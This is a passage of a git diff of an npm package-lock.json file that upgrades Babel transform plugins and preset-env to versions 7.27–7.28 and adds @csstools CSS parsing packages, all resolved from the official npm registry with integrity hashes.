"@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-transform-object-super": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz", - "integrity": "sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==", + "@babel/plugin-transform-private-methods": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.27.1.tgz", + "integrity": "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/helper-replace-supers": "^7.18.6" + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-transform-parameters": { - "version": "7.18.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.18.8.tgz", - "integrity": "sha512-ivfbE3X2Ss+Fj8nnXvKJS6sjRG4gzwPMsP+taZC+ZzEGjAYlvENixmt1sZ5Ca6tWls+BlKSGKPJ6OOXvXCbkFg==", + "@babel/plugin-transform-private-property-in-object": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.27.1.tgz", + "integrity": "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-property-literals": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz", - "integrity": "sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.27.1.tgz", + "integrity": "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-regenerator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.18.6.tgz", - "integrity": "sha512-poqRI2+qiSdeldcz4wTSTXBRryoq3Gc70ye7m7UD5Ww0nE29IXqMl6r7Nd15WBgRd74vloEMlShtH6CKxVzfmQ==", + "version": "7.28.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.28.1.tgz", + "integrity": "sha512-P0QiV/taaa3kXpLY+sXla5zec4E+4t4Aqc9ggHlfZ7a2cp8/x/Gv08jfwEtn9gnnYIMvHx6aoOZ8XJL8eU71Dg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-regexp-modifiers": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.27.1.tgz", + "integrity": "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6", - "regenerator-transform": "^0.15.0" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-reserved-words": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz", - "integrity": "sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.27.1.tgz", + "integrity": "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-runtime": { @@ -19684,220 +17203,253 @@ } }, "@babel/plugin-transform-shorthand-properties": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz", - "integrity": "sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.27.1.tgz", + "integrity": "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-spread": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.18.9.tgz", - "integrity": "sha512-39Q814wyoOPtIB/qGopNIL9xDChOE1pNU0ZY5dO0owhiVt/5kFm4li+/bBtwc7QotG0u5EPzqhZdjMtmqBqyQA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.27.1.tgz", + "integrity": "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" } }, "@babel/plugin-transform-sticky-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz", - "integrity": "sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.27.1.tgz", + "integrity": "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-template-literals": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz", - "integrity": "sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.27.1.tgz", + "integrity": "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-typeof-symbol": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz", - "integrity": "sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.27.1.tgz", + "integrity": "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-unicode-escapes": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.10.tgz", - "integrity": "sha512-kKAdAI+YzPgGY/ftStBFXTI1LZFju38rYThnfMykS+IXy8BVx+res7s2fxf1l8I35DV2T97ezo6+SGrXz6B3iQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.27.1.tgz", + "integrity": "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-unicode-property-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.27.1.tgz", + "integrity": "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-unicode-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz", - "integrity": "sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.27.1.tgz", + "integrity": "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-unicode-sets-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.27.1.tgz", + "integrity": "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw==", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/preset-env": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.18.10.tgz", - "integrity": "sha512-wVxs1yjFdW3Z/XkNfXKoblxoHgbtUF7/l3PvvP4m02Qz9TZ6uZGxRVYjSQeR87oQmHco9zWitW5J82DJ7sCjvA==", - "dev": true, - "requires": { - "@babel/compat-data": "^7.18.8", - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-validator-option": "^7.18.6", - "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.18.6", - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.18.9", - "@babel/plugin-proposal-async-generator-functions": "^7.18.10", - "@babel/plugin-proposal-class-properties": "^7.18.6", - "@babel/plugin-proposal-class-static-block": "^7.18.6", - "@babel/plugin-proposal-dynamic-import": "^7.18.6", - "@babel/plugin-proposal-export-namespace-from": "^7.18.9", - "@babel/plugin-proposal-json-strings": "^7.18.6", - "@babel/plugin-proposal-logical-assignment-operators": "^7.18.9", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.18.6", - "@babel/plugin-proposal-numeric-separator": "^7.18.6", - "@babel/plugin-proposal-object-rest-spread": "^7.18.9", - "@babel/plugin-proposal-optional-catch-binding": "^7.18.6", - "@babel/plugin-proposal-optional-chaining": "^7.18.9", - "@babel/plugin-proposal-private-methods": "^7.18.6", - "@babel/plugin-proposal-private-property-in-object": "^7.18.6", - "@babel/plugin-proposal-unicode-property-regex": "^7.18.6", - "@babel/plugin-syntax-async-generators": "^7.8.4", - "@babel/plugin-syntax-class-properties": "^7.12.13", - "@babel/plugin-syntax-class-static-block": "^7.14.5", - "@babel/plugin-syntax-dynamic-import": "^7.8.3", - "@babel/plugin-syntax-export-namespace-from": "^7.8.3", - "@babel/plugin-syntax-import-assertions": "^7.18.6", - "@babel/plugin-syntax-json-strings": "^7.8.3", - "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", - "@babel/plugin-syntax-numeric-separator": "^7.10.4", - "@babel/plugin-syntax-object-rest-spread": "^7.8.3", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", - "@babel/plugin-syntax-optional-chaining": "^7.8.3", - "@babel/plugin-syntax-private-property-in-object": "^7.14.5", - "@babel/plugin-syntax-top-level-await": "^7.14.5", - "@babel/plugin-transform-arrow-functions": "^7.18.6", - "@babel/plugin-transform-async-to-generator": "^7.18.6", - "@babel/plugin-transform-block-scoped-functions": "^7.18.6", - "@babel/plugin-transform-block-scoping": "^7.18.9", - "@babel/plugin-transform-classes": "^7.18.9", - "@babel/plugin-transform-computed-properties": "^7.18.9", - "@babel/plugin-transform-destructuring": "^7.18.9", - "@babel/plugin-transform-dotall-regex": "^7.18.6", - "@babel/plugin-transform-duplicate-keys": "^7.18.9", - "@babel/plugin-transform-exponentiation-operator": "^7.18.6", - "@babel/plugin-transform-for-of": "^7.18.8", - "@babel/plugin-transform-function-name": "^7.18.9", - "@babel/plugin-transform-literals": "^7.18.9", - "@babel/plugin-transform-member-expression-literals": "^7.18.6", - "@babel/plugin-transform-modules-amd": "^7.18.6", - "@babel/plugin-transform-modules-commonjs": "^7.18.6", - "@babel/plugin-transform-modules-systemjs": "^7.18.9", - "@babel/plugin-transform-modules-umd": "^7.18.6", - "@babel/plugin-transform-named-capturing-groups-regex": "^7.18.6", - "@babel/plugin-transform-new-target": "^7.18.6", - "@babel/plugin-transform-object-super": "^7.18.6", - "@babel/plugin-transform-parameters": "^7.18.8", - "@babel/plugin-transform-property-literals": "^7.18.6", - "@babel/plugin-transform-regenerator": "^7.18.6", - "@babel/plugin-transform-reserved-words": "^7.18.6", - "@babel/plugin-transform-shorthand-properties": "^7.18.6", - "@babel/plugin-transform-spread": "^7.18.9", - "@babel/plugin-transform-sticky-regex": "^7.18.6", - "@babel/plugin-transform-template-literals": "^7.18.9", - "@babel/plugin-transform-typeof-symbol": "^7.18.9", - "@babel/plugin-transform-unicode-escapes": "^7.18.10", - "@babel/plugin-transform-unicode-regex": "^7.18.6", - "@babel/preset-modules": "^0.1.5", - "@babel/types": "^7.18.10", - "babel-plugin-polyfill-corejs2": "^0.3.2", - "babel-plugin-polyfill-corejs3": "^0.5.3", - "babel-plugin-polyfill-regenerator": "^0.4.0", - "core-js-compat": "^3.22.1", - "semver": "^6.3.0" - }, - "dependencies": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.28.0.tgz", + "integrity": "sha512-VmaxeGOwuDqzLl5JUkIRM1X2Qu2uKGxHEQWh+cvvbl7JuJRgKGJSfsEF/bUaxFhJl/XAyxBe7q7qSuTbKFuCyg==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.28.0", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-validator-option": "^7.27.1", + "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.27.1", + "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.27.1", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-import-assertions": "^7.27.1", + "@babel/plugin-syntax-import-attributes": "^7.27.1", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.27.1", + "@babel/plugin-transform-async-generator-functions": "^7.28.0", + "@babel/plugin-transform-async-to-generator": "^7.27.1", + "@babel/plugin-transform-block-scoped-functions": "^7.27.1", + "@babel/plugin-transform-block-scoping": "^7.28.0", + "@babel/plugin-transform-class-properties": "^7.27.1", + "@babel/plugin-transform-class-static-block": "^7.27.1", + "@babel/plugin-transform-classes": "^7.28.0", + "@babel/plugin-transform-computed-properties": "^7.27.1", + "@babel/plugin-transform-destructuring": "^7.28.0", + "@babel/plugin-transform-dotall-regex": "^7.27.1", + "@babel/plugin-transform-duplicate-keys": "^7.27.1", + "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", + "@babel/plugin-transform-dynamic-import": "^7.27.1", + "@babel/plugin-transform-explicit-resource-management": "^7.28.0", + "@babel/plugin-transform-exponentiation-operator": "^7.27.1", + "@babel/plugin-transform-export-namespace-from": "^7.27.1", + "@babel/plugin-transform-for-of": "^7.27.1", + "@babel/plugin-transform-function-name": "^7.27.1", + "@babel/plugin-transform-json-strings": "^7.27.1", + "@babel/plugin-transform-literals": "^7.27.1", + "@babel/plugin-transform-logical-assignment-operators": "^7.27.1", + "@babel/plugin-transform-member-expression-literals": "^7.27.1", + "@babel/plugin-transform-modules-amd": "^7.27.1", + "@babel/plugin-transform-modules-commonjs": "^7.27.1", + "@babel/plugin-transform-modules-systemjs": "^7.27.1", + "@babel/plugin-transform-modules-umd": "^7.27.1", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", + "@babel/plugin-transform-new-target": "^7.27.1", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", + "@babel/plugin-transform-numeric-separator": "^7.27.1", + "@babel/plugin-transform-object-rest-spread": "^7.28.0", + "@babel/plugin-transform-object-super": "^7.27.1", + "@babel/plugin-transform-optional-catch-binding": "^7.27.1", + "@babel/plugin-transform-optional-chaining": "^7.27.1", + "@babel/plugin-transform-parameters": "^7.27.7", + "@babel/plugin-transform-private-methods": "^7.27.1", + "@babel/plugin-transform-private-property-in-object": "^7.27.1", + "@babel/plugin-transform-property-literals": "^7.27.1", + "@babel/plugin-transform-regenerator": "^7.28.0", + "@babel/plugin-transform-regexp-modifiers": "^7.27.1", + "@babel/plugin-transform-reserved-words": "^7.27.1", + "@babel/plugin-transform-shorthand-properties": "^7.27.1", + "@babel/plugin-transform-spread": "^7.27.1", + "@babel/plugin-transform-sticky-regex": "^7.27.1", + "@babel/plugin-transform-template-literals": "^7.27.1", + "@babel/plugin-transform-typeof-symbol": "^7.27.1", + "@babel/plugin-transform-unicode-escapes": "^7.27.1", + "@babel/plugin-transform-unicode-property-regex": "^7.27.1", + "@babel/plugin-transform-unicode-regex": "^7.27.1", + "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "babel-plugin-polyfill-corejs2": "^0.4.14", + "babel-plugin-polyfill-corejs3": "^0.13.0", + "babel-plugin-polyfill-regenerator": "^0.6.5", + "core-js-compat": "^3.43.0", + "semver": "^6.3.1" + }, + "dependencies": { + "@babel/helper-define-polyfill-provider": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.5.tgz", + "integrity": "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg==", + "dev": true, + "requires": { + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-plugin-utils": "^7.27.1", + "debug": "^4.4.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.22.10" + } + }, + "babel-plugin-polyfill-corejs2": { + "version": "0.4.14", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.14.tgz", + "integrity": "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.27.7", + "@babel/helper-define-polyfill-provider": "^0.6.5", + "semver": "^6.3.1" + } + }, "babel-plugin-polyfill-regenerator": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.0.tgz", - "integrity": "sha512-RW1cnryiADFeHmfLS+WW/G431p1PsW5qdRdz0SDRi7TKcUgc7Oh/uXkT7MZ/+tGsT1BkczEAmD5XjUyJ5SWDTw==", + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.5.tgz", + "integrity": "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg==", "dev": true, "requires": { - "@babel/helper-define-polyfill-provider": "^0.3.2" + "@babel/helper-define-polyfill-provider": "^0.6.5" } } } }, "@babel/preset-modules": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz", - "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", "dev": true, "requires": { "@babel/helper-plugin-utils": "^7.0.0", - "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", - "@babel/plugin-transform-dotall-regex": "^7.4.4", "@babel/types": "^7.4.4", "esutils": "^2.0.2" } }, "@babel/runtime": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.16.0.tgz", - "integrity": "sha512-Nht8L0O8YCktmsDV6FqFue7vQLRx3Hb0B37lS5y0jDRqRxlBG4wIJHnf9/bgSE2UyipKFA01YtS+npRdTWBUyw==", + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.27.0.tgz", + "integrity": "sha512-VtPOkrdPHZsKc/clNqyi9WUA8TINkZ4cGk63UUE3u4pmB2k+ZMQRDuIOagv8UVd6j7k0T3+RRIb7beKTebNbcw==", "requires": { - "regenerator-runtime": "^0.13.4" + "regenerator-runtime": "^0.14.0" } }, "@babel/template": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.10.tgz", - "integrity": "sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA==", + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", "requires": { - "@babel/code-frame": "^7.18.6", - "@babel/parser": "^7.18.10", - "@babel/types": "^7.18.10" + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" } }, "@babel/traverse": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.18.13.tgz", - "integrity": "sha512-N6kt9X1jRMLPxxxPYWi7tgvJRH/rtoU+dbKAPDM44RFHiMH8igdsaSBgFeskhSl/kLWLDUvIh1RXCrTmg0/zvA==", - "requires": { - "@babel/code-frame": "^7.18.6", - "@babel/generator": "^7.18.13", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-hoist-variables": "^7.18.6", - "@babel/helper-split-export-declaration": "^7.18.6", - "@babel/parser": "^7.18.13", - "@babel/types": "^7.18.13", - "debug": "^4.1.0", - "globals": "^11.1.0" + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.0.tgz", + "integrity": "sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==", + "requires": { + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.0", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.0", + "debug": "^4.3.1" } }, "@babel/types": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.18.13.tgz", - "integrity": "sha512-ePqfTihzW0W6XAU+aMw2ykilisStJfDnsejDCXRchCcMJ4O0+8DhPXf2YUbZ6wjBlsEmZwLK/sPweWtu8hcJYQ==", + "version": "7.28.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.2.tgz", + "integrity": "sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==", "requires": { - "@babel/helper-string-parser": "^7.18.10", - "@babel/helper-validator-identifier": "^7.18.6", - "to-fast-properties": "^2.0.0" + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" } }, "@bcoe/v8-coverage": { @@ -19906,10 +17458,46 @@ "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", "dev": true }, + "@csstools/color-helpers": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.0.2.tgz", + "integrity": "sha512-JqWH1vsgdGcw2RR6VliXXdA0/59LttzlU8UlRT/iUUsEeWfYq8I+K0yhihEUTTHLRm1EXvpsCx3083EU15ecsA==", + "dev": true + }, + "@csstools/css-calc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", + "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==", + "dev": true, + "requires": {} + }, + "@csstools/css-color-parser": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.0.10.tgz", + "integrity": "sha512-TiJ5Ajr6WRd1r8HSiwJvZBiJOqtH86aHpUjq5aEKWHiII2Qfjqd/HCWKPOW8EP4vcspXbHnXrwIDlu5savQipg==", + "dev": true, + "requires": { + "@csstools/color-helpers": "^5.0.2", + "@csstools/css-calc": "^2.1.4" + } + }, + "@csstools/css-parser-algorithms": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", + "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf70WqfBdQ==", + "dev": true, + "requires": {} + }, + "@csstools/css-tokenizer": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", + "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==", + "dev": true + }, "@discoveryjs/json-ext": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.5.tgz", 